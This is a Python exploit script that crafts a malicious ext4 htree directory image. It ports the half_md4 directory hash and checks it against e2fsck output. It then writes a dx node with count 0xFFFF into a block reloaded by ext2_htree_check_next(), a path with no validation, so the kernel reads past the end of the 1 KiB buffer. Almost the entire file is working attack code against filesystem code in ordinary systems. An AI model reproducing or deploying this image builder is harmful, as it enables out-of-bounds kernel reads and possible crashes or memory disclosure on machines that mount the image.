#!/usr/bin/env python3
# DF-3122 image builder: patches a valid e2fsck -fyD htree image so the
# ext2_htree_check_next() miss-walk reloads a fully attacker-crafted dx
# node (no validation in that path) whose count=0xFFFF walks h_entry past
# the end of the 1KiB buffer (OOB read at b_data+1024..1027 -> wild block).
import struct, sys, uuid

M32 = 0xFFFFFFFF

def rotl(x, n): return ((x << n) | (x >> (32 - n))) & M32
def F(x,y,z): return (x & y) | ((~x & M32) & z)
def G(x,y,z): return (x & y) | (x & z) | (y & z)
def H(x,y,z): return x ^ y ^ z

def half_md4(h, d):
    a,b,c,dd = h
    FF = lambda a,b,c,d,x,s: rotl((a + F(b,c,d) + x) & M32, s)
    GG = lambda a,b,c,d,x,s: rotl((a + G(b,c,d) + x + 0x5A827999) & M32, s)
    HH = lambda a,b,c,d,x,s: rotl((a + H(b,c,d) + x + 0x6ED9EBA1) & M32, s)
    a=FF(a,b,c,dd,d[0],3); dd=FF(dd,a,b,c,d[1],7); c=FF(c,dd,a,b,d[2],11); b=FF(b,c,dd,a,d[3],19)
    a=FF(a,b,c,dd,d[4],3); dd=FF(dd,a,b,c,d[5],7); c=FF(c,dd,a,b,d[6],11); b=FF(b,c,dd,a,d[7],19)
    a=GG(a,b,c,dd,d[1],3); dd=GG(dd,a,b,c,d[3],5); c=GG(c,dd,a,b,d[5],9); b=GG(b,c,dd,a,d[7],13)
    a=GG(a,b,c,dd,d[0],3); dd=GG(dd,a,b,c,d[2],5); c=GG(c,dd,a,b,d[4],9); b=GG(b,c,dd,a,d[6],13)
    a=HH(a,b,c,dd,d[3],3); dd=HH(dd,a,b,c,d[7],9); c=HH(c,dd,a,b,d[2],11); b=HH(b,c,dd,a,d[6],15)
    a=HH(a,b,c,dd,d[1],3); dd=HH(dd,a,b,c,d[5],9); c=HH(c,dd,a,b,d[0],11); b=HH(b,c,dd,a,d[4],15)
    return [(h[0]+a)&M32,(h[1]+b)&M32,(h[2]+c)&M32,(h[3]+dd)&M32]

def sb(x):  # signed char
    return x if x < 128 else x - 256

def prep_hashbuf(src, slen, dlen):
    padding = (slen | (slen<<8) | (slen<<16) | (slen<<24)) & M32
    out = []
    ln = min(slen, dlen)
    buf_val = padding
    for i in range(ln):
        b = sb(src[i]) & M32   # (int)signed char sign-extended
        if (i % 4) == 0:
            buf_val = padding
        buf_val = ((buf_val << 8) & M32) + b
        if (i % 4) == 3:
            out.append(buf_val & M32); dlen -= 4; buf_val = padding
    dlen -= 4
    if dlen >= 0:
        out.append(buf_val & M32)
    dlen -= 4
    while dlen >= 0:
        out.append(padding); dlen -= 4
    return out

def htree_hash(name, seed, version=1):
    h = list(seed)
    data = [0]*8
    if version in (1, 4):   # half_md4 (+unsigned)
        n = name; L = len(n)
        while L > 0:
            data = prep_hashbuf(n, L, 32)
            h = half_md4(h, data)
            n = n[32:]; L -= 32
        major, minor = h[1], h[2]
    else:
        raise Exception("only half_md4")
    major &= ~1 & M32
    if major == (0x7FFFFFFF << 1) & M32:
        major = (0x7FFFFFFF - 1) << 1
    return major & M32, minor

# --- validate port against e2fsck's own dumped hashes ---
seed_uuid = uuid.UUID("4bc5d597-5414-45da-8511-703a25bbc19d")
raw = seed_uuid.bytes_le if seed_uuid.bytes[0:4] == bytes([0x97,0xd5,0xc5,0x4b]) else seed_uuid.bytes
# s_hash_seed is 16 raw bytes; kernel does le32toh on each 4-byte group
seed = list(struct.unpack("<4I", raw))
checks = {b"payloadname001": (0x0d164900, 0xf2d1a8fe),
          b"payloadname073": (0x016ebe46, 0x2d2c1deb),
          b"payloadname011": (0x02249416, 0x923ac4e0)}
ok = True
for n, (M, m) in checks.items():
    pm, pmin = htree_hash(n, seed)
    st = "OK " if (pm == M and pmin == m) else "BAD"
    if st == "BAD": ok = False
    print(f"validate {st} {n.decode():18s} mine=({pm:08x},{pmin:08x}) e2fsck=({M:08x},{m:08x})")
if not ok:
    # try byte-swapped seed interpretation
    seed = list(struct.unpack(">4I", raw))
    for n, (M, m) in checks.items():
        pm, pmin = htree_hash(n, seed)
        print(f"  swap  {'OK ' if (pm==M and pmin==m) else 'BAD'} {n.decode():18s} mine=({pm:08x},{pmin:08x})")
    sys.exit("seed interpretation mismatch")

name = sys.argv[1].encode() if len(sys.argv) > 1 else b"zzqq01"
H, _ = htree_hash(name, seed)
print(f"absent-name {name.decode()} -> H = 0x{H:08x} (even={H%2==0})")
assert H % 2 == 0
assert H > 1

# --- patch the image ---
BS = 1024
ROOT_PHYS, B1_PHYS, B2_PHYS, L2_PHYS = 338, 380, 423, 441
src_path, dst_path = "htree.img", "a.img"
img = bytearray(open(src_path, "rb").read())

def wr32(blk, off, v): img[blk*BS+off:blk*BS+off+4] = struct.pack("<I", v)
def wr16(blk, off, v): img[blk*BS+off:blk*BS+off+2] = struct.pack("<H", v)

# root: ind_levels=1, count=3, e1=(0x1 -> B1), e2=(H+1 -> B2)
img[ROOT_PHYS*BS+30] = 1                    # h_info.h_ind_levels
wr16(ROOT_PHYS, 34, 3)                      # overlay count
wr32(ROOT_PHYS, 40, 0x00000001); wr32(ROOT_PHYS, 44, 1)   # e1: hash, blk
wr32(ROOT_PHYS, 48, (H+1) & M32); wr32(ROOT_PHYS, 52, 2)  # e2: hash, blk
# keep overlay limit (==124 == kernel root_limit) and e0.h_blk (==1)

# B1 (logical 1, phys 380): honest one-entry interior node -> leaf L2 (logical 3)
img[B1_PHYS*BS:B1_PHYS*BS+BS] = bytes(BS)
wr16(B1_PHYS, 4, 0x0400)                    # fake dirent reclen = blksize
wr16(B1_PHYS, 12, 126)                      # overlay limit == node_limit
wr16(B1_PHYS, 14, 1)                        # overlay count
wr32(B1_PHYS, 16, 3)                        # e0(overlay).h_blk -> L2

# B2 (logical 2, phys 423): the check_next reload node -- NO validation applies
img[B2_PHYS*BS:B2_PHYS*BS+BS] = bytes(BS)
wr16(B2_PHYS, 4, 0x0400)                    # fake dirent reclen
wr16(B2_PHYS, 12, 0x0080)                   # overlay limit (unchecked: 128 != 126)
wr16(B2_PHYS, 14, 0xFFFF)                   # overlay count  (unchecked: > node capacity)
wr32(B2_PHYS, 16, 3)                        # e0(overlay).h_blk -> L2
for k in range(1, 126):                     # e1..e125 fully in-block
    wr32(B2_PHYS, 12+8*k, H); wr32(B2_PHYS, 12+8*k+4, 3)
wr32(B2_PHYS, 1020, H)                      # e126.h_hash: last 4 in-block bytes
                                             # e126.h_blk would live at [1024,1028) == OOB

open(dst_path, "wb").write(img)
print(f"wrote {dst_path}: root(limit=124,count=3,ind=1) e1=(1,blk1) e2=(H+1={H+1:#x},blk2)")
print("  B1: honest node count=1 limit=126 -> L2(blk3)")
print("  B2: count=0xFFFF limit=0x80 e0->L2, e1..e125=(H,blk3), e126.hash=H at [1020,1024)")
print("  e126.blk is read at b_data+1024..1027 -> kernel heap -> wild dir offset")